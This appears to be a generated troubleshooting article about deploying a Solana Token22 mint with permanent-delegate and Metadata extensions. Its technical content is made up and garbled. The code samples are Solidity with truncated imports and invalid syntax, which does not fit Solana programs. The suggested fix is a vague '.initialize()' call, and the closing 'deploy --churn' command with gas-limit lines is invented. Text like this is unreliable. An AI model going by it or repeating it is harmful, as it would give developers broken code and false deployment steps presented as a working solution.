Here is an article based on my understanding of the problem:<\/p>\n<p><strong>Problem: Unable to deploy Token22 Mint and attach PerminateDelegate and Metadata extensions<\/strong><\/p>\n<p>As a Solana developer, you are trying to deploy a Token22 Mint instance with PerminateDelegate and Metadata extensions attached. However, your code is failing to initialize these extensions correctly.<\/p>\n<p><strong>Code Snippet<\/strong><\/p>\n<p><pre><code><\/p><p>pragma solidity ^0.8.0;<\/p><p>import \"<\/p><p>contract MyToken22Mint {<\/p><p>PerminateDelegate pde;<\/p><p>\/\/ Initialize metadata extension<\/p><p>public function mint() {<\/p><p>Metadata(metadata);<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Problem<\/strong><\/p>\n<p>The problem is in the <code>mint<\/code> function, where you are calling <code>Metadata(metadata);<\/code>. This function expects a <code>Metadata<\/code> object as an argument, but your code is passing it directly.<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>To fix this issue, you need to initialize the <code>metadata<\/code> extension before minting. Here&#8217;s how you can do it:<\/p>\n<p><pre><code><\/p><p>pragma solidity ^0.8.0;<\/p><p>import \"<\/p><p>import \"<\/p><p>contract MyToken22Mint {<\/p><p>PerminateDelegate pde;<\/p><p>\/\/ Initialize metadata extension<\/p><p>public function mint() {<\/p><p>Metadata(metadata).initialize();<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this solution, <code>Metadata<\/code> is called with the address of the <code>metadata<\/code> extension. The <code>initialize<\/code> method will then configure and initialize the metadata.<\/p>\n<p><strong>Additional Note<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/m6sASOzCLzE\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Issue initializing Metadata extension\n\" src=\"https:\/\/localglobals.com\/wp-content\/uploads\/2025\/02\/871175ea.png\"><\/p>\n<p>Make sure the <code>metadata<\/code> extension is deployed to the Solana network before you can use it to initialize your minting instance. You can deploy extensions using the following command:<\/p>\n<p><pre><code><\/p><p>cd solana-token22-mint<\/p><p>gas limit 2000000 max gas limit 5000000<\/p><p>deploy --churn <extension-address> --chain-id <chain-id><\/p><p><\/code><\/pre>\n<\/p>\n<p>Replace <code><extension-address><\/code> with the address of your <code>Metadata<\/code> extension and <code><chain-id><\/code> with the ID of the chain you are minting on.<\/p>\n<p>Hope this helps resolve your issue!
